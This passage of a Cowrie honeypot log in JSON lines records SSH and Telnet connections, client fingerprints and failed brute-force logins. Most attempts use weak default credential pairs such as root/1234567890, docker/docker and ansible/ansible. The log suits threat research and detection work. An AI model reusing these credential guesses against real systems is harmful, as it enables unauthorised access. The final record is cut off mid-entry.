{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1e:82:c1:46:78:e6:ad:6e:ee:1c:c8:e5:56:fc:d0:45","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAI0EuSSRp+T4EH1OEkh0tgAEsEcZvHtt2fz+cGDa9a1x0XtCYi17Ij4or0/wSAXzWLi2mNy966v8k8zn2CE/zGdrj7cqim5JJwxNtvy0JJfy5KNghakinDfdd/qmWi0LX23dv97oIiHwQLe86JWtjqAgtjnXocJpEXaZoMPyJm+rAAAAFQDRg6Qu21QSXbaGszO5mw+X3dmZQwAAAIBCP+o/96tkhahzLC2zR3x/K7caVEFLC0KbWJ1dFi5Z4Nk3xY5FIhmGq8tqau7JNveQkmOWr6LRZb/IU97BpHQqxDTXP78OW/D+C1P26dMFrpytm3j0tcWpLbs/RazKrzLRMqxREnN35iur1TAV+OpxbbaT0Qs2VWdFG8zm4yZLYAAAAIACQf6oPgbw/wYI9WbP7HHYRLw1ligq0lFJRIJ81/YLCUnMgRCJn24TH6XktKZqdzAYC2Vu8+LOtMgsXp+L7dsvblx5wRE5n5/a4+Da+5OdtWldmNFmZQh5hTy2LWvNu6oPO4DltRUiXOd1R3GUfIP2sVIfxdwqb6ncAsladKywFQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:00.077218Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:00.161923Z","src_ip":"208.115.214.194","session":"54bf48f45137","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34002,"dst_ip":"10.17.0.5","dst_port":22,"session":"f666386df839","protocol":"ssh","message":"New connection: 83.168.110.85:34002 (10.17.0.5:22) [session: f666386df839]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:00.213429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:00.218424Z","src_ip":"83.168.110.85","session":"f666386df839","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:00.342246Z","src_ip":"83.168.110.85","session":"f666386df839","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"123456","message":"login attempt [ftpuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:00.710703Z","src_ip":"83.168.110.85","session":"f666386df839","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:01.839540Z","src_ip":"83.168.110.85","session":"f666386df839","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":48884,"dst_ip":"10.17.0.5","dst_port":22,"session":"4de121e50d9a","protocol":"ssh","message":"New connection: 83.168.110.85:48884 (10.17.0.5:22) [session: 4de121e50d9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:06.956085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:06.961849Z","src_ip":"83.168.110.85","session":"4de121e50d9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:07.085122Z","src_ip":"83.168.110.85","session":"4de121e50d9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:07.723684Z","src_ip":"83.168.110.85","session":"4de121e50d9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:08.849271Z","src_ip":"83.168.110.85","session":"4de121e50d9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38424,"dst_ip":"10.17.0.5","dst_port":22,"session":"86e107723652","protocol":"ssh","message":"New connection: 83.168.110.85:38424 (10.17.0.5:22) [session: 86e107723652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:14.288012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:14.292857Z","src_ip":"83.168.110.85","session":"86e107723652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:14.414016Z","src_ip":"83.168.110.85","session":"86e107723652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:14.786262Z","src_ip":"83.168.110.85","session":"86e107723652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.452213287353516,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:15.633565Z","src_ip":"152.42.224.71","session":"449e02913d7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:16.133421Z","src_ip":"83.168.110.85","session":"86e107723652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":38426,"dst_ip":"10.17.0.5","dst_port":22,"session":"09752b1dd267","protocol":"ssh","message":"New connection: 83.168.110.85:38426 (10.17.0.5:22) [session: 09752b1dd267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:21.366962Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:21.372256Z","src_ip":"83.168.110.85","session":"09752b1dd267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:21.494171Z","src_ip":"83.168.110.85","session":"09752b1dd267","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker","message":"login attempt [docker/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:21.859165Z","src_ip":"83.168.110.85","session":"09752b1dd267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:22.986149Z","src_ip":"83.168.110.85","session":"09752b1dd267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49914,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dc351dbe997","protocol":"telnet","message":"New connection: 152.42.224.71:49914 (10.17.0.5:23) [session: 1dc351dbe997]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:23.578926Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.65.139","src_port":58654,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a986d27e225","protocol":"ssh","message":"New connection: 43.153.65.139:58654 (10.17.0.5:22) [session: 1a986d27e225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:25.848757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:25.854243Z","src_ip":"43.153.65.139","session":"1a986d27e225","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:25.922901Z","src_ip":"43.153.65.139","session":"1a986d27e225","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf123.","message":"login attempt [root/asdf123.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:26.227385Z","src_ip":"43.153.65.139","session":"1a986d27e225","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:27.300367Z","src_ip":"43.153.65.139","session":"1a986d27e225","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":52714,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d0a0062ba39","protocol":"ssh","message":"New connection: 83.168.110.85:52714 (10.17.0.5:22) [session: 2d0a0062ba39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:28.204858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:28.209863Z","src_ip":"83.168.110.85","session":"2d0a0062ba39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:28.331108Z","src_ip":"83.168.110.85","session":"2d0a0062ba39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:28.797622Z","src_ip":"83.168.110.85","session":"2d0a0062ba39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:29.924270Z","src_ip":"83.168.110.85","session":"2d0a0062ba39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":53734,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e18b843ac51","protocol":"ssh","message":"New connection: 83.168.110.85:53734 (10.17.0.5:22) [session: 3e18b843ac51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:35.451277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:35.462870Z","src_ip":"83.168.110.85","session":"3e18b843ac51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:35.574818Z","src_ip":"83.168.110.85","session":"3e18b843ac51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123456","message":"login attempt [user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:36.049915Z","src_ip":"83.168.110.85","session":"3e18b843ac51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:37.356770Z","src_ip":"83.168.110.85","session":"3e18b843ac51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.912639856338501,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:39.491412Z","src_ip":"152.42.224.71","session":"1dc351dbe997","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":48842,"dst_ip":"159.203.135.109","dst_port":22,"session":"a41e9e1ccd84","protocol":"ssh","message":"New connection: 62.133.63.178:48842 (159.203.135.109:22) [session: a41e9e1ccd84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:39.874607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:45:39.879304Z","src_ip":"62.133.63.178","session":"a41e9e1ccd84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 